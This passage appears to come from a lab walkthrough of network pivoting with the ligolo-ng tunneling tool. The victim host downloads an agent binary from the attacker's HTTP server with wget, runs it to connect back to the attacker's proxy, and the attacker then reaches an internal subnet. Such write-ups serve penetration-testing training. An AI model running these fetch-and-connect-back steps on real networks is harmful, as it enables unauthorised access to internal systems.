

```
(root@Attacker)-[/home/kali/Desktop]
# ./proxy -selfcert -laddr 0.0.0.0:443
WARN[0000] Using automatically generated self-signed certificates (Not recommended)
INFO[0000] Listening on 0.0.0.0:443
```



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ligolo-ng »

Confirm the route on your attacker machine. The internal IP range is now added in the route.

```
ip route
default via 10.0.2.2 dev eth0 proto dhcp src 10.0.2.15 metric 100
10.0.2.0/24 dev eth0 proto kernel scope link src 10.0.2.15 metric 100
10.10.200.0/24 dev tun0 proto kernel scope link src 10.10.200.225
192.168.80.0/24 via 10.10.200.1 dev tun0
192.168.98.0/24 dev ligolo scope link
```

b) Victim Machine Setup: (Nigolo-Agent/Client)

b.1) Attacker Machine:

```
#cd /home/kali/Desktop #python3 -m http.server 8899
```

b.2) Victim Machine:

```
#wget http://10.10.200.225:8899/agent # ./agent -connect 10.10.200.225:443 -ignore-cert
```

```
root@ubuntu-virtual-machine:/home/privilege/.mozilla/firefox/b2rrilqd.default-release# wget http://10.10.200.225:8899/agent
--2025-08-24 00:55:30-- http://10.10.200.225:8899/agent
Connecting to 10.10.200.225:8899... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4501504 (4.3M) [application/octet-stream]
Saving to: 'agent.1'

agent.1
100%[=====] 4.29M 282KB/s in 48s
2025-08-24 00:56:18 (91.6 KB/s) - 'agent.1' saved [4501504/4501504]

root@ubuntu-virtual-machine:/home/privilege/.mozilla/firefox/b2rrilqd.default-release# ./agent -connect 10.10.200.225:443 -ignore-cert
WARN[0000] warning, certificate validation disabled
INFO[0000] Connection established addr="10.10.200.225:443"
```

--> Connection received between attacker machine & 192.168.98.0/24 subnet.

b.3) Attacker Machine:

```
(root@Attacker)-[/home/kali/Desktop]
# ./proxy -selfcert -laddr 0.0.0.0:443
WARN[0000] Using automatically generated self-signed certificates (Not recommended)
INFO[0000] Listening on 0.0.0.0:443

Ligolo-ng

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ligolo-ng » INFO[0401] Agent joined. name=root@ubuntu-virtual-machine remote="192.168.80.10:57986"
```

On the ligolo-ng proxy, check the session & start the tunnel.

```
>>>session
>>>list_tunnels
>>>start
```

```
[Agent : root@ubuntu-virtual-machine] » session
? Specify a session : 1 - root@ubuntu-virtual-machine - 192.168.80.10:57986
[Agent : root@ubuntu-virtual-machine] » listener_list
```

Active listeners			
#	AGENT	AGENT LISTENER ADDRESS	PROXY REDIRECT ADDRESS

```
[Agent : root@ubuntu-virtual-machine] » start
[Agent : root@ubuntu-virtual-machine] » INFO[0568] Starting tunnel to root@ubuntu-virtual-machine
[Agent : root@ubuntu-virtual-machine] »
```

Now fire up a new terminal & check that we can now access the internal IP range
192.168.98.0/24

``#ping 192.168.98.15`

```
home/kali/Desktop
ping 192.168.98.15
PING 192.168.98.15 (192.168.98.15) 56(84) bytes of data:
64 bytes from 192.168.98.15: icmp_seq=1 ttl=64 time=467 ms
64 bytes from 192.168.98.15: icmp_seq=2 ttl=64 time=275 ms
64 bytes from 192.168.98.15: icmp_seq=3 ttl=64 time=282 ms
64 bytes from 192.168.98.15: icmp_seq=4 ttl=64 time=278 ms
^C
  192.168.98.15 ping statistics:
  4 packets transmitted, 4 received, 0% packet loss, time 3015ms
 rtt min/avg/max/mdev = 275.329/325.592/466.778/81.552 ms
```

took 5s with root@Attacker